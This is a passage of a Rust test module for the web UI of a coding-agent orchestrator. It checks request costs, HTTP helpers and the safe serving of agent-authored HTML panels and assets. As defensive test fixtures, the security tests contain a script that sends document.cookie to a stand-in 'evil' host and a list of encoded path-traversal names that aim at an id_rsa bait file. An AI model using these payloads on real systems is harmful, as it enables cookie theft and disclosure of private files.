10869                        std::fs::remove_dir_all(cache).unwrap();
10870                    }
10871                }
10872                let cost = request_counts(&fx.get(path).await);
10873                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10874                assert_eq!(cost.0, discoveries, "{path}, N={n}");
10875                assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10876                costs.push(cost);
10877            }
10878            if let Some(previous) = previous {
10879                assert_eq!(costs, previous);
10880            }
10881            previous = Some(costs);
10882        }
10883        // runs reads shared row inputs and probes process liveness; queue
10884        // builds one blocker inventory; notifications reads its own store.
10885        // None discovers configuration or spawns git per item.
10886    }
10887
10888    /// The same handler path without transport, so the deterministic cause
10889    /// can also be checked in environments that prohibit binding sockets.
10890    #[tokio::test]
10891    async fn list_handler_cost_without_transport() {
10892        let (_tmp, repos) = performance_repositories().await;
10893        let fx = Fixture {
10894            home: TempDir::new().unwrap(),
10895            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10896        };
10897        let ui = Arc::new(
10898            Ui::new(
10899                fx.queue(),
10900                fx.questions(),
10901                fx.talks(),
10902                fx.runs(),
10903                fx.home.path().to_path_buf(),
10904                repos[0].clone(),
10905            )
10906            .with_worktrees_root(fx.home.path().join("wt")),
10907        );
10908        let mut previous = None;
10909        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10910            seed_performance(&fx, &repos, n, runs, items);
10911            let mut costs = Vec::new();
10912            for endpoint in ["questions", "talks", "health", "stats"] {
10913                for repo in &repos {
10914                    let cache = repo.join(".git/magi/config");
10915                    if cache.exists() {
10916                        std::fs::remove_dir_all(cache).unwrap();
10917                    }
10918                }
10919                let (_, cost) = request_cost::measure(async {
10920                    match endpoint {
10921                        "questions" => {
10922                            let _ = questions_list(State(ui.clone())).await.unwrap();
10923                        }
10924                        "talks" => {
10925                            let _ = talks_list(
10926                                State(ui.clone()),
10927                                Query(ListQuery {
10928                                    limit: None,
10929                                    ids: None,
10930                                }),
10931                            )
10932                            .await
10933                            .unwrap();
10934                        }
10935                        "health" => {
10936                            let _ = health(State(ui.clone())).await.unwrap();
10937                        }
10938                        _ => {
10939                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10940                                .await
10941                                .unwrap();
10942                        }
10943                    }
10944                })
10945                .await;
10946                eprintln!("{endpoint} handler N={n}: {cost:?}");
10947                assert_eq!(
10948                    cost.0,
10949                    if endpoint == "talks" { 2 } else { 1 },
10950                    "{endpoint}"
10951                );
10952                assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10953                costs.push(cost);
10954            }
10955            if let Some(previous) = previous {
10956                assert_eq!(costs, previous);
10957            }
10958            previous = Some(costs);
10959        }
10960    }
10961
10962    #[tokio::test]
10963    async fn list_request_cost_scopes_do_not_mix() {
10964        let (_tmp, repos, fx) = performance_fixture().await;
10965        seed_performance(&fx, &repos, 10, 0, 10);
10966        let (questions, talks, notices) = tokio::join!(
10967            fx.get("/api/questions"),
10968            fx.get("/api/talks"),
10969            fx.get("/api/notifications")
10970        );
10971        assert_eq!(request_counts(&questions).0, 1);
10972        assert_eq!(request_counts(&talks).0, 2);
10973        assert_eq!(request_counts(&notices), (0, 0));
10974    }
10975
10976    #[tokio::test]
10977    async fn list_endpoints_large_home_responses() {
10978        check_large_home_endpoints(false).await;
10979    }
10980
10981    #[tokio::test]
10982    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
10983    async fn list_endpoints_large_home_ceiling() {
10984        check_large_home_endpoints(true).await;
10985    }
10986
10987    async fn check_large_home_endpoints(timed: bool) {
10988        let (_tmp, repos, fx) = performance_fixture().await;
10989        seed_performance(&fx, &repos, 200, 300, 400);
10990        let mut failures = Vec::new();
10991        // app.js boot/change loads plus the initial dashboard, settings and
10992        // repo picker. SSE is a persistent stream, not a bounded GET.
10993        for path in [
10994            "/",
10995            "/app.js",
10996            "/app.css",
10997            "/api/questions",
10998            "/api/runs?limit=300",
10999            "/api/queue",
11000            "/api/talks",
11001            "/api/notifications",
11002            "/api/health",
11003            "/api/stats",
11004            "/api/loop",
11005            "/api/settings",
11006            "/api/repos",
11007        ] {
11008            let start = std::time::Instant::now();
11009            let result = if timed {
11010                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11011            } else {
11012                Ok(fx.get(path).await)
11013            };
11014            let elapsed = start.elapsed();
11015            eprintln!("{path}: {elapsed:?}");
11016            match result {
11017                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11018                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11019                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11020            }
11021        }
11022        assert!(failures.is_empty(), "{}", failures.join("\n"));
11023    }
11024
11025    struct Res {
11026        status: u16,
11027        headers: String,
11028        /// The header block with its original casing, for the assertions that
11029        /// compare a header *value* rather than looking for a name. Lowercasing
11030        /// a CSP would hide a directive spelled with a capital letter, and the
11031        /// whole point of that test is that the string is exactly right.
11032        head: String,
11033        body: String,
11034        /// The body before any UTF-8 handling, for the routes that serve
11035        /// something other than text. A panel asset is a PNG as often as not,
11036        /// and `from_utf8_lossy` would silently replace half of it.
11037        bytes: Vec<u8>,
11038    }
11039
11040    impl Res {
11041        fn json(&self) -> Value {
11042            serde_json::from_str(&self.body)
11043                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11044        }
11045
11046        /// One header's value verbatim, or `None` when it was not sent.
11047        fn header(&self, name: &str) -> Option<&str> {
11048            self.head.lines().find_map(|line| {
11049                let (key, value) = line.split_once(':')?;
11050                key.trim()
11051                    .eq_ignore_ascii_case(name)
11052                    .then(|| value.trim_start().trim_end_matches('\r'))
11053            })
11054        }
11055    }
11056
11057    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
11058    /// be read to end-of-stream without parsing framing.
11059    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11060        request_with(addr, method, path, body, &[]).await
11061    }
11062
11063    /// As [`request`], with extra request headers - conditional GETs need
11064    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
11065    /// worse than one that sets none.
11066    async fn request_with(
11067        addr: SocketAddr,
11068        method: &str,
11069        path: &str,
11070        body: Option<&str>,
11071        extra: &[(&str, &str)],
11072    ) -> Res {
11073        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11074        for (name, value) in extra {
11075            head.push_str(&format!("{name}: {value}\r\n"));
11076        }
11077        if let Some(body) = body {
11078            head.push_str("Content-Type: application/json\r\n");
11079            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11080        }
11081        head.push_str("\r\n");
11082        if let Some(body) = body {
11083            head.push_str(body);
11084        }
11085        let mut socket = tokio::net::TcpStream::connect(addr)
11086            .await
11087            .expect("connect to the test server");
11088        socket
11089            .write_all(head.as_bytes())
11090            .await
11091            .expect("write request");
11092        let mut raw = Vec::new();
11093        socket.read_to_end(&mut raw).await.expect("read response");
11094        // Split on the raw bytes rather than on a lossy string, so a binary
11095        // body survives to be compared byte for byte.
11096        let split = raw
11097            .windows(4)
11098            .position(|w| w == b"\r\n\r\n")
11099            .expect("a header block");
11100        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11101        let bytes = raw[split + 4..].to_vec();
11102        let status = head
11103            .lines()
11104            .next()
11105            .and_then(|line| line.split_whitespace().nth(1))
11106            .and_then(|code| code.parse().ok())
11107            .expect("a status line");
11108        Res {
11109            status,
11110            headers: head.to_lowercase(),
11111            head,
11112            body: String::from_utf8_lossy(&bytes).into_owned(),
11113            bytes,
11114        }
11115    }
11116
11117    /// A `POST` carrying a raw binary body and its own headers, for the
11118    /// attachment upload route - `request_with` only ever sends
11119    /// `Content-Type: application/json`, which is wrong for an image and
11120    /// would corrupt anything not valid UTF-8 by round-tripping it through
11121    /// `&str` first.
11122    async fn request_bytes(
11123        addr: SocketAddr,
11124        path: &str,
11125        headers: &[(&str, &str)],
11126        body: &[u8],
11127    ) -> Res {
11128        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11129        for (name, value) in headers {
11130            head.push_str(&format!("{name}: {value}\r\n"));
11131        }
11132        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11133        let mut socket = tokio::net::TcpStream::connect(addr)
11134            .await
11135            .expect("connect to the test server");
11136        socket
11137            .write_all(head.as_bytes())
11138            .await
11139            .expect("write request head");
11140        socket.write_all(body).await.expect("write request body");
11141        let mut raw = Vec::new();
11142        socket.read_to_end(&mut raw).await.expect("read response");
11143        let split = raw
11144            .windows(4)
11145            .position(|w| w == b"\r\n\r\n")
11146            .expect("a header block");
11147        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11148        let bytes = raw[split + 4..].to_vec();
11149        let status = head
11150            .lines()
11151            .next()
11152            .and_then(|line| line.split_whitespace().nth(1))
11153            .and_then(|code| code.parse().ok())
11154            .expect("a status line");
11155        Res {
11156            status,
11157            headers: head.to_lowercase(),
11158            head,
11159            body: String::from_utf8_lossy(&bytes).into_owned(),
11160            bytes,
11161        }
11162    }
11163
11164    /// A run on disk, without touching the process-global magi home.
11165    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11166        let mut state = RunState::new(
11167            PathBuf::from("/repo/magi"),
11168            "main".to_owned(),
11169            "0123456789abcdef".to_owned(),
11170            "Add a web UI\n\nMobile first.".to_owned(),
11171            Config::default(),
11172        );
11173        state.id = id.to_owned();
11174        state.status = status;
11175        let dir = runs.join(id);
11176        std::fs::create_dir_all(&dir).expect("run dir");
11177        std::fs::write(
11178            dir.join("run.json"),
11179            serde_json::to_string_pretty(&state).expect("serialize run"),
11180        )
11181        .expect("write run.json");
11182    }
11183
11184    /// Same as [`write_run`], but against a named repository rather than the
11185    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
11186    /// spread across more than one.
11187    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11188        let mut state = RunState::new(
11189            PathBuf::from(repo),
11190            "main".to_owned(),
11191            "0123456789abcdef".to_owned(),
11192            "task".to_owned(),
11193            Config::default(),
11194        );
11195        state.id = id.to_owned();
11196        state.status = status;
11197        let dir = runs.join(id);
11198        std::fs::create_dir_all(&dir).expect("run dir");
11199        std::fs::write(
11200            dir.join("run.json"),
11201            serde_json::to_string_pretty(&state).expect("serialize run"),
11202        )
11203        .expect("write run.json");
11204    }
11205
11206    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11207        let body = serde_json::json!({
11208            "schema": 1,
11209            "pid": 4242,
11210            "started_at": Timestamp::now().to_string(),
11211            "updated_at": updated_at.to_string(),
11212            "idle": false,
11213            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11214            "completed": 7,
11215            "polls": 143,
11216        });
11217        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11218    }
11219
11220    /// A loop that starts, finds nothing to do, and waits to be told to stop.
11221    ///
11222    /// No test in this file may start the real loop - see [`Ui::launch`] for
11223    /// why - so this stands in for the only thing the routes need a loop to
11224    /// do: keep running until `Stop` is set, then return. A real
11225    /// `serve_until` here would resolve its queue and its status file through
11226    /// the process-global magi home, claim whatever it found in the
11227    /// operator's live backlog, overwrite the status file of the `magi serve`
11228    /// that owns it, and spend real agent quota on a real competition.
11229    fn launch_idle(
11230        _opts: daemon::Opts,
11231        stop: daemon::Stop,
11232    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11233        Box::pin(async move {
11234            while !stop.stopped() {
11235                tokio::time::sleep(Duration::from_millis(2)).await;
11236            }
11237            Ok(())
11238        })
11239    }
11240
11241    /// A loop that fails on the way up, the way one whose home has gone
11242    /// read-only does.
11243    fn launch_broken(
11244        _opts: daemon::Opts,
11245        _stop: daemon::Stop,
11246    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11247        // The stand-in dies instantly, so a restarted one can record its own
11248        // failure before the start's response is read. The second attempt
11249        // therefore fails with a different message, to tell a stale error
11250        // from a fresh one.
11251        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11252        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11253        Box::pin(async move {
11254            Err(anyhow::anyhow!(if first {
11255                "publish the daemon status file: read-only file system"
11256            } else {
11257                "the restarted stand-in failed as well"
11258            }))
11259        })
11260    }
11261
11262    /// The loop view once `want` accepts it.
11263    ///
11264    /// Polled rather than asserted straight after the POST because stopping
11265    /// is deliberately not instant - that is the contract - and rather than
11266    /// slept through because a fixed wait is either flaky or slow.
11267    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
11268    /// finite, so a genuine hang fails the test instead of hanging the
11269    /// suite.
11270    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11271        for _ in 0..SETTLE_STEPS {
11272            let view = fx.get("/api/loop").await.json();
11273            if want(&view) {
11274                return view;
11275            }
11276            tokio::time::sleep(Duration::from_millis(10)).await;
11277        }
11278        panic!(
11279            "the loop never settled: {}",
11280            fx.get("/api/loop").await.json()
11281        );
11282    }
11283
11284    /// File an open question directly in the store the server reads.
11285    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11286        let store = fx.questions();
11287        let mut q = Question::new(
11288            "20260902-000000-beef".to_owned(),
11289            "implement".to_owned(),
11290            "impl-A".to_owned(),
11291            summary.to_owned(),
11292            "because it matters".to_owned(),
11293            choices.iter().map(|c| (*c).to_owned()).collect(),
11294        );
11295        store.put(&mut q).expect("put question");
11296        q.id
11297    }
11298
11299    /// A question with a panel the server can serve, plus the named assets.
11300    ///
11301    /// Written through `Questions::put_panel` rather than by laying out the
11302    /// directory here, so these tests exercise the same on-disk shape the
11303    /// agents produce and cannot pass against a layout only the tests know.
11304    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11305        let store = fx.questions();
11306        let mut q = Question::new(
11307            "20260902-000000-beef".to_owned(),
11308            "land".to_owned(),
11309            "fix".to_owned(),
11310            "Merge this?".to_owned(),
11311            "the diff is in the panel".to_owned(),
11312            vec!["merge".to_owned(), "hold".to_owned()],
11313        );
11314        // Staged outside the questions root, because `put_panel` copies from
11315        // wherever the agent left its files.
11316        let staging = fx.home.path().join("staging");
11317        std::fs::create_dir_all(&staging).expect("staging dir");
11318        let sources: Vec<PathBuf> = assets
11319            .iter()
11320            .map(|(name, bytes)| {
11321                let path = staging.join(name);
11322                std::fs::write(&path, bytes).expect("write staged asset");
11323                path
11324            })
11325            .collect();
11326        store
11327            .put_panel(&mut q, html, &sources)
11328            .expect("write the panel");
11329        store.put(&mut q).expect("put question");
11330        q.id
11331    }
11332
11333    /// A talk on disk, without talking to a model.
11334    ///
11335    /// Written as JSON straight into the store the server reads, because the
11336    /// only constructor `talk::begin` offers takes no turn but still requires
11337    /// a real caller-visible flow. The one thing this cannot make up is the
11338    /// seat, so it is built with the real `SeatState::new` and serialized -
11339    /// the alternative, hand-writing that object, would make these tests fail
11340    /// the day the seat gains a field.
11341    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11342        seed_talk_at(&fx.talks(), id, status)
11343    }
11344
11345    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11346        std::fs::create_dir_all(store.root()).expect("talks dir");
11347        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11348            .expect("serialize a seat");
11349        let body = serde_json::json!({
11350            "schema": 1,
11351            "id": id,
11352            "repo": "/repo/magi",
11353            "agent": "mock",
11354            "status": status,
11355            "turns": [],
11356            "created_at": Timestamp::now().to_string(),
11357            "updated_at": Timestamp::now().to_string(),
11358            "seat": seat,
11359        });
11360        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11361        store.get(id).expect("the seeded talk has to be readable");
11362        id.to_owned()
11363    }
11364
11365    #[tokio::test]
11366    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11367        let fx = Fixture::start().await;
11368        let id = panel(
11369            &fx,
11370            "<h1>Merge?</h1><img src=\"diff.svg\">",
11371            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11372        );
11373
11374        for path in [
11375            format!("/api/questions/{id}/panel"),
11376            format!("/api/questions/{id}/asset/diff.svg"),
11377        ] {
11378            let res = fx.get(&path).await;
11379            assert_eq!(res.status, 200, "{path}: {}", res.body);
11380            // The whole string, not a substring. A weakened directive - an
11381            // `img-src *` that lets a panel beacon out to a remote host, a
11382            // `script-src` anything, a missing `form-action` that lets it post
11383            // the owner's decision to a third party - has to fail here, and a
11384            // `contains` assertion would let every one of those through.
11385            assert_eq!(
11386                res.header("content-security-policy"),
11387                Some(
11388                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11389                     font-src data:; base-uri 'none'; form-action 'none'; \
11390                     frame-ancestors 'self'"
11391                ),
11392                "{path} is the only thing between a hostile panel and the tailnet"
11393            );
11394            assert_eq!(
11395                res.header("x-content-type-options"),
11396                Some("nosniff"),
11397                "{path}: a browser must not re-decide the type we sent"
11398            );
11399            assert_eq!(
11400                res.header("referrer-policy"),
11401                Some("no-referrer"),
11402                "{path}: a panel must not leak the question id off the machine"
11403            );
11404
11405            // The front end mounts the frame only after a `HEAD` says the
11406            // panel is there, so `HEAD` has to answer with the same status and
11407            // the same policy as `GET` - a preflight that came back without
11408            // the CSP would mean a frame mounted on an unverified promise.
11409            let pre = fx.head(&path).await;
11410            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11411            assert_eq!(
11412                pre.header("content-security-policy"),
11413                res.header("content-security-policy"),
11414                "{path}: the preflight carries the same policy"
11415            );
11416            assert_eq!(
11417                pre.header("content-type"),
11418                res.header("content-type"),
11419                "{path}: the preflight carries the same type"
11420            );
11421        }
11422    }
11423
11424    #[tokio::test]
11425    async fn a_panel_reaches_the_browser_byte_for_byte() {
11426        let fx = Fixture::start().await;
11427        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
11428        // tag, an entity, and a multi-byte character. The sandbox is what makes
11429        // this safe, so nothing here may be rewritten on the way out - a
11430        // rewritten diff is a diff the owner cannot trust.
11431        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
11432        let id = panel(&fx, html, &[]);
11433
11434        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11435
11436        assert_eq!(res.status, 200);
11437        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11438        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11439        assert_eq!(
11440            res.header("content-disposition"),
11441            None,
11442            "the panel itself is rendered in the frame, not downloaded"
11443        );
11444    }
11445
11446    #[tokio::test]
11447    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11448        let fx = Fixture::start().await;
11449        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11450        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11451        let id = panel(
11452            &fx,
11453            "<img src=\"diff.svg\"><img src=\"shot.png\">",
11454            &[("diff.svg", svg), ("shot.png", png)],
11455        );
11456
11457        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11458        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11459
11460        assert_eq!(as_svg.status, 200);
11461        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11462        // An SVG is XML that may carry script. Inside the panel it is an
11463        // `<img src>` and the script cannot run; opened at the top level it
11464        // would be a document on magi's own origin, so the browser is told to
11465        // download it instead of rendering it.
11466        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11467
11468        assert_eq!(as_png.status, 200);
11469        assert_eq!(as_png.header("content-type"), Some("image/png"));
11470        assert_eq!(
11471            as_png.header("content-disposition"),
11472            None,
11473            "a raster image has no execution surface, so tapping it still shows it"
11474        );
11475        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11476    }
11477
11478    #[tokio::test]
11479    async fn an_html_asset_is_never_served_as_html() {
11480        let fx = Fixture::start().await;
11481        let id = panel(
11482            &fx,
11483            "<p>see the notes</p>",
11484            &[
11485                (
11486                    "notes.html",
11487                    b"<script>fetch('http://evil/'+document.cookie)</script>",
11488                ),
11489                ("hook.js", b"fetch('http://evil/')"),
11490                ("data.json", b"{}"),
11491                ("HEADLINE.TXT", b"plain"),
11492            ],
11493        );
11494
11495        for name in ["notes.html", "hook.js", "data.json"] {
11496            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11497            assert_eq!(res.status, 200, "{name}: {}", res.body);
11498            // Serving this as text/html would be a way to reach agent markup
11499            // at the top level of the operator's browser, outside the frame's
11500            // sandbox and outside its CSP - which is the whole thing the panel
11501            // design exists to prevent. Unlisted types are downloads.
11502            assert_eq!(
11503                res.header("content-type"),
11504                Some("application/octet-stream"),
11505                "{name} must not be a type the browser will execute or render"
11506            );
11507        }
11508        // The whitelist is matched case-insensitively, so an agent shouting the
11509        // extension still gets a readable file rather than a download.
11510        let txt = fx
11511            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11512            .await;
11513        assert_eq!(
11514            txt.header("content-type"),
11515            Some("text/plain; charset=utf-8")
11516        );
11517    }
11518
11519    #[tokio::test]
11520    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11521        let fx = Fixture::start().await;
11522        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11523        // Something outside the panel directory that a traversal would reach if
11524        // one got through, so a passing test is not merely "the file was
11525        // missing anyway".
11526        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11527
11528        // Decoded before this server's handler sees them: axum percent-decodes
11529        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
11530        // string with a NUL in it. All three look like ordinary single-segment
11531        // filenames to the router, so the router passes them through and
11532        // `valid_asset_name` is what refuses them - for the literal `..`, and
11533        // for `/`, `\` and NUL not being in the permitted character set.
11534        for encoded in [
11535            "%2e%2e%2fid_rsa",
11536            "..%2fid_rsa",
11537            "..%5cid_rsa",
11538            "%2e%2e%5cid_rsa",
11539            "diff%00.svg",
11540            "..",
11541            ".hidden",
11542            "%2e%2e%2f%2e%2e%2fid_rsa",
11543        ] {
11544            let res = fx
11545                .get(&format!("/api/questions/{id}/asset/{encoded}"))
11546                .await;
11547            assert_eq!(
11548                res.status, 400,
11549                "`{encoded}` has to be refused by name, not looked up: {}",
11550                res.body
11551            );
11552            assert!(res.json()["error"].is_string(), "{}", res.body);
11553        }
11554
11555        // Not decoded, and never this handler's problem: a real slash makes the
11556        // request one segment too long for `/api/questions/{id}/asset/{name}`,
11557        // so axum's router has no route to match and answers before any code
11558        // here runs. Asserted so that a future route with a wildcard segment
11559        // cannot quietly open this door.
11560        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11561            let res = fx
11562                .get(&format!("/api/questions/{id}/asset/{literal}"))
11563                .await;
11564            assert_eq!(
11565                res.status, 404,
11566                "`{literal}` must not match the asset route at all: {}",
11567                res.body
11568            );
11569        }
11570    }
11571
11572    #[tokio::test]
11573    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11574        let fx = Fixture::start().await;
11575        let plain = ask(&fx, "Which backend?", &["SQLite"]);
11576        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11577
11578        // A question nobody wrote a panel for. The client preflights with HEAD
11579        // and cannot see inside a sandboxed frame, so this must be a status and
11580        // not an empty page.
11581        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11582        assert_eq!(none.status, 404, "{}", none.body);
11583        assert!(none.json()["error"].is_string(), "{}", none.body);
11584        assert_eq!(
11585            fx.head(&format!("/api/questions/{plain}/panel"))
11586                .await
11587                .status,
11588            404,
11589            "the preflight is the only way the client can learn this"
11590        );
11591
11592        // A name that is perfectly legal and simply is not there.
11593        let missing = fx
11594            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11595            .await;
11596        assert_eq!(missing.status, 404, "{}", missing.body);
11597        assert!(missing.json()["error"].is_string(), "{}", missing.body);
11598
11599        // A question that does not exist at all, on both routes.
11600        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11601        assert_eq!(
11602            fx.get("/api/questions/nope/asset/diff.svg").await.status,
11603            404
11604        );
11605    }
11606
11607    #[tokio::test]
11608    async fn a_run_with_an_open_question_reads_as_waiting() {
11609        let fx = Fixture::start().await;
11610        let run = "20260902-000000-beef".to_owned();
11611        write_run(&fx.runs(), &run, RunStatus::Implementing);
11612
11613        let before = fx.get("/api/runs").await.json();
11614        assert_eq!(before[0]["waiting"], false, "{before}");
11615
11616        let store = fx.questions();
11617        let mut q = Question::new(
11618            run.clone(),
11619            "implement".to_owned(),
11620            "impl-A".to_owned(),
11621            "Which backend?".to_owned(),
11622            String::new(),
11623            vec!["SQLite".to_owned()],
11624        );
11625        store.put(&mut q).expect("put");
11626
11627        let during = fx.get("/api/runs").await.json();
11628        assert_eq!(during[0]["waiting"], true, "{during}");
11629
11630        // Answered: the run is moving again, and the flag has to follow without
11631        // anything having rewritten run.json.
11632        q.answer(Answer::Choice("SQLite".to_owned()))
11633            .expect("answer");
11634        store.put(&mut q).expect("put");
11635        let after = fx.get("/api/runs").await.json();
11636        assert_eq!(after[0]["waiting"], false, "{after}");
11637    }
11638
11639    #[tokio::test]
11640    async fn an_open_question_is_listed_and_counted_by_health() {
11641        let fx = Fixture::start().await;
11642        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11643
11644        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11645        let listed = fx.get("/api/questions").await.json();
11646        assert_eq!(listed.as_array().expect("array").len(), 1);
11647        assert_eq!(listed[0]["id"], id);
11648        assert_eq!(listed[0]["status"], "open");
11649        assert_eq!(listed[0]["choices"][1], "Redis");
11650        // The count is what makes the phone's indicator honest: it is the one
11651        // number meaning nothing will move until a human acts.
11652        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11653    }
11654
11655    fn obsolete_approval_state() -> RunState {
11656        let mut state = crate::land::tests::repair_state(true, true);
11657        state.pr = Some(crate::run::PrRecord {
11658            url: "https://github.com/example/repo/pull/42".into(),
11659            number: 42,
11660            state: "open".into(),
11661            checks: "green".into(),
11662            round: 1,
11663            rounds: 4,
11664            red_at_merge: Vec::new(),
11665        });
11666        state
11667    }
11668
11669    #[tokio::test]
11670    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11671        for owner in ["missing", "current", "completed", "later"] {
11672            let fx = Fixture {
11673                home: TempDir::new().unwrap(),
11674                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11675            };
11676            let mut state = obsolete_approval_state();
11677            state.status = RunStatus::Landing;
11678            state.parked = true;
11679            state.driver_exited = true;
11680            let mut q = Question::new(
11681                state.id.clone(),
11682                crate::land::APPROVAL_NODE.into(),
11683                "land".into(),
11684                "Old approval".into(),
11685                "Original evidence".into(),
11686                vec!["merge".into(), "hold".into()],
11687            );
11688            state.land_approval = Some(crate::run::LandApproval {
11689                question: q.id.clone(),
11690                head: "head".into(),
11691            });
11692            state.save_under(fx.home.path()).unwrap();
11693            let stale = state.clone();
11694            fx.questions().put(&mut q).unwrap();
11695            let mut task = Task::new(
11696                "Owner".into(),
11697                "Original instruction".into(),
11698                state.repo.clone(),
11699                Source::Human,
11700            );
11701            task.runs.push(state.id.clone());
11702            task.status = if owner == "completed" {
11703                TaskStatus::Done
11704            } else {
11705                TaskStatus::Parked
11706            };
11707            if owner == "later" {
11708                task.runs.push("later-run".into());
11709            }
11710            if owner != "missing" {
11711                fx.queue().put(&mut task).unwrap();
11712            }
11713            let ui = Arc::new(Ui::new(
11714                fx.queue(),
11715                fx.questions(),
11716                fx.talks(),
11717                fx.runs(),
11718                fx.home.path().into(),
11719                state.repo.clone(),
11720            ));
11721            let response = question_answer(
11722                State(ui),
11723                Path(q.id.clone()),
11724                Ok(Json(NewAnswer {
11725                    choice: Some(crate::merge_decision::DISMISS.into()),
11726                    text: None,
11727                    ..Default::default()
11728                })),
11729            )
11730            .await
11731            .unwrap();
11732            assert_eq!(
11733                response.0.question.resolution().as_deref(),
11734                Some(crate::merge_decision::DISMISS)
11735            );
11736            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11737            assert_eq!(disk.status, RunStatus::Superseded);
11738            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11739            assert!(!crate::merge_decision::resumable_hold(&disk));
11740            assert_eq!(
11741                serde_json::to_value(&disk.pr).unwrap(),
11742                serde_json::to_value(&stale.pr).unwrap()
11743            );
11744            assert_eq!(fx.questions().count_open(), 0);
11745            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11746            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11747            if owner == "missing" {
11748                assert!(fx.queue().list().is_empty());
11749            } else {
11750                let after = fx.queue().get(&task.id).unwrap();
11751                assert_eq!(
11752                    after.status,
11753                    if owner == "current" {
11754                        TaskStatus::Done
11755                    } else {
11756                        task.status
11757                    }
11758                );
11759                assert_eq!(after.runs, task.runs);
11760                assert_eq!(after.instruction, task.instruction);
11761                assert_eq!(after.action_applied(&q.id), owner == "current");
11762            }
11763        }
11764    }
11765
11766    #[tokio::test]
11767    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11768        let fx = Fixture::start().await;
11769        let mut state = obsolete_approval_state();
